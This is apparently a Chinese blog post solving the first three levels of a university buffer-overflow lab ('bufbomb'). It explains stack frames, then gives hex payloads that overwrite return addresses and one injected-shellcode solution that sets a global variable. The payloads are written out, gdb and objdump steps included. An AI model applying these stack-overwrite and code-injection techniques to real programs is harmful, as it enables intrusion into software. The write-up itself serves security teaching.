CS61系列实验之二 缓冲区溢出

   注:背景介绍可参见本系列博客第一篇《CS61系列实验之一 解除二进制炸弹》

一、缓冲区溢出简介

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各操作系统种、应用软件中广泛存在。利用缓冲区溢出漏洞可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

当前被广泛利用的安全漏洞中,有50%以上都是缓冲区溢出,其中最为著名的例子是1988年利用fingerd漏洞的蠕虫。而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。从bindwu-ftpdtelnetdapache等常用服务程序,到MicrosoftOracle等软件厂商提供的应用程序,都存在着似乎永远也弥补不完的缓冲区溢出漏洞。

二、函数调用过程和缓冲区溢出原理简介

介绍缓冲区溢出,首先要介绍函数调用过程及栈的相关操作。借用cs61课件中的一幅经典图,来简介函数调用中栈的基本操作。我们称调用其他函数的函数为Caller,被调用的函数为Callee。图中紫色部分为Caller的栈区,浅蓝色部分为Callee的栈区。

211326388.png

图1 函数调用中栈的示意图

举例来说,我在下面写了两个函数,分别为AB,具体如表1所示。A调用B,那么A就是CallerB就是Callee。图中紫色部分即为A的栈区, A在调用B之前,需要将参数和返回地址压栈,图中“Arguments”对应的就是2(因为i=2);“Return address”是函数B运行之后的返回地址,即调用函数B后执行的下一条指令,这里应当是printf("this is func a.\n")这条指令的地址。浅蓝色部分是B的栈区,字符串s就在“Local variables”中维护,因为s是函数B的局部变量。缓冲区溢出就是说输入的s过长,长度超出了s本身的容量,覆盖掉了“Return address”,导致程序不能正常执行,甚至转为执行其他命令。

表1 函数A与函数B

int A() {
    int i = 2;
    B(i);
    printf("this is func a.\n");
    return 0;
}
int B(int b) {
    printf("%d\n", b);
    char s[10];
    scanf("%s",s);
    printf("this is func b.\n");
    return 0;
}

三、问题描述

本实验是要利用缓冲区溢出漏洞达到若干个目的,实验给了3个程序,分别是bufbombmakecookiesendstring,其中bufbomb是具有缓冲区溢出漏洞的程序,我们主要研究它。其余两个都是工具性程序,makecookie用于生成cookie,用到时再介绍,sendstring用于将16进制数转换为字符串。


四、问题解决

1、第一关

运行./bufbomb,程序会调用函数test,具体细节如表2所示。Test中第4行为val = getbuf(),即调用了getbuf(),该函数如表3所示。这里再介绍一个函数smoke,具体如表4所示。第一关的要求是,运行./bufbomb,程序会调用函数test,但正常情况下并不会调用函数smoke,请利用缓冲区溢出漏洞,输入一个字符串使之调用函数smoke。

表2 函数test

void test()
{
    int val;
    volatile int local = 0xdeadbeef;
    entry_check(3); /* Make sure entered this function properly */
    val = getbuf();
    /* Check for corrupted stack */
    if (local != 0xdeadbeef) {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
        printf("Boom!: getbuf returned 0x%x\n", val);
        validate(3);
    }
    else {
        printf("Dud: getbuf returned 0x%x\n", val);
    }
}

表3 函数getbuf

int getbuf()
{
    char buf[12];
    Gets(buf);
    return 1;
}

表4 函数smoke

void smoke()
{
    entry_check(0); /* Make sure entered this function properly */
    printf("Smoke!: You called smoke()\n");
    validate(0);
    exit(0);
}


   我们的解决思路是找到smoke函数的地址,构造字符串恰好使smoke的地址覆盖掉原来的“Return Address”,栈的示意图如图2所示。

211414466.png

图2 调用smoke栈区空间

为了实现这个目标,我们首先利用objdump(一种反汇编工具)获取函数smoke的地址,即0x08048f95。

211513409.png

然后我们查看函数getbuf中变量buf的位置,还是利用objdump,得到buf到ebp的长度应当为0x18,即24个字节。

211555442.png

这样,我们构造的字符串应当是24个字节(buf到ebp长度)+ 4字节(ebp)+ 4字节(smoke地址)= 32个字节。这里说明一点,由于我们知道的smoke地址是16进制数,而不是字符串,所以我们其实是在构造一个32个16进制数的组合,然后由sendstring自动帮我们转成字符串添给程序(sendstring就是用来做这个的)。

   开始构造,共32个数字,前28个是什么都无所谓,最后4个应当是0x08048f95,由于Intel采用小端模式,所以应当是95 8f 04 08。我构造的完整答案是

30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 30 31 32 33 34 35 36 37(buf, 24B)
38 39 3a 3b (ebp,4B)
95 8f 04 08 (RET,4B)

   将上述内容写入exploit-smoke.txt(不要有换行,这里是为了表述清晰),运行命令“cat exploit-smoke.txt | ./sendstring | ./bufbomb -t wm”得到以下结果:

211638467.png

完成!


2、第二关

第二关与第一关类似,还是函数test调用getbuf这个情景,这次需要执行函数fizz,函数fizz如表5所示。相比之下,难点就是多出一个参数val,参数val应当与cookie相同。

表5 函数fizz

void fizz(int val)
{
    entry_check(1); /* Make sure entered this function properly */
    if (val == cookie) {
        printf("Fizz!: You called fizz(0x%x)\n", val);
        validate(1);
    } else
        printf("Misfire: You called fizz(0x%x)\n", val);
    exit(0);
}

首先我们利用程序makecookie获得我的cookie,为0x1a245b76。然后获得fizz的地址,为0x08048f3d。

211737320.png

现在我们构造这次攻击的栈区空间,如图3所示。重点说面最上面三行,RET1是函数getbuf后的返回地址,内容应当为fizz的地址。RET2是函数fizz执行后的返回地址,但其实程序在fizz内就结束了,不会真的返回,所以其内容任意。Argument是调用函数fizz的参数,即为val,这里应当等于我的cookie,即0x1a245b76。

211754332.png

图3 调用fizz栈区空间

这样,我们构造的字符串应当是24个字节(buf到ebp长度)+ 4字节(ebp)+ 4字节(RET1,fizz地址)+ 4字节(RET2)+ 4字节(参数val,我的cookie) = 40个字节。其中前28个字节内容任意,然后是fizz地址0x08048f3d,然后4字节内容任意,最后4字节是我的cookie 0x1a245b76,整的答案是

30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 30 31 32 33 34 35 36 37(buf,24B)
38 39 3a 3b (ebp,4B)
3d 8f 04 08 (RET1,4B)
30 31 32 33 (RET2,4B)
76 5b 24 1a (Argu,4B)

运行通过!

213721524.png

3、第三关

第三关的情景还是说在函数test内调用getbug获取字符串,但是这次的需求较难,要求调用函数bang,并使得全局变量global_value等于cookie。主要难点在于如何修改全局变量。函数bang如表6所示。

表6 函数bang

int global_value = 0;
void bang(int val)
{
    entry_check(2); /* Make sure entered this function properly */
    if (global_value == cookie) {
        printf("Bang!: You set global_value to 0x%x\n", global_value);
        validate(2);
    } else
        printf("Misfire: global_value = 0x%x\n", global_value);
    exit(0);
}

   我们首先利用反汇编查看函数bang和全局变量global_value的地址,bang的地址为0x08048ee4,global_value的地址为0x0804a1d0,cookie的地址为0x0804a1e0。

212010157.png

然后我们可以想象这次构造的字符串不能仅仅包含返回地址了,还需要做实际操作。也就是说,字符串的一部分应当是修改global_value的代码(指令),还有一部分应当是跳转到这部分代码的返回地址。在获取字符串之后,程序的执行顺序应当是:

1、跳转到修改程序

2、执行修改程序,修改global_value

3、跳转到bang

4、执行bang

根据上述思路,我们构造的栈区空间如图5所示。这样在getbuf执行完毕后,程序会跳转到buf的首地址,然后执行修改程序,修改global_value,在跳转到bang的地址,执行bang函数。

212033428.png

图5 调用bang的栈区空间

思路打通了,我们先构造修改程序,我们写汇编程序bang.s,如表7所示。执行命令as bang.s -o bang.o -32,生成bang.o。这里注意两点,一是程序结尾一点要有ret,这样才能触发函数bang的执行;二是如果在64位OS上做实验,记得加入-32的选项,否则会影响结果。

表7bang.s

movl $0x1a245b76, %eax
movl $0x804a1d0, %ecx
movl %eax, (%ecx)
ret

然后利用objdump反汇编查看这段代码对应的16进制码,即b8 76 5b 24 1a b9 d0 a1 04 08 89 01c3。

212121536.png

下一步是获得buf首地址,利用gdb设置断点+单步,计算出buf首地址为0x55587e68

212246491.png

最后我们根据以上信息构建的完整答案如下

b8 76 5b 24 1a b9 d0 a1 04 08 89 01 c3(修改程序,13B)
30 31 32 33 34 35  36 37 38 39 3a (buf后半部分,11B)
3b 3c 3d 3e (ebp,4B)
68 7e 58 55(RET1,4B)
e4 8e 04 08(RET2,4B)

测试通过!

212503494.png

4、第四关

写了一个多下午,暂时写不动了,休息休息。


参考:

缓冲区溢出(1)

http://www.cnblogs.com/remlostime/archive/2011/06/09/2076773.html

http://my.oschina.net/gallant/blog/96049



本文出自 “说话的白菜” 博客,谢绝转载!

你可能感兴趣的:(逆向工程,计算机系统,缓冲区溢出,cs61)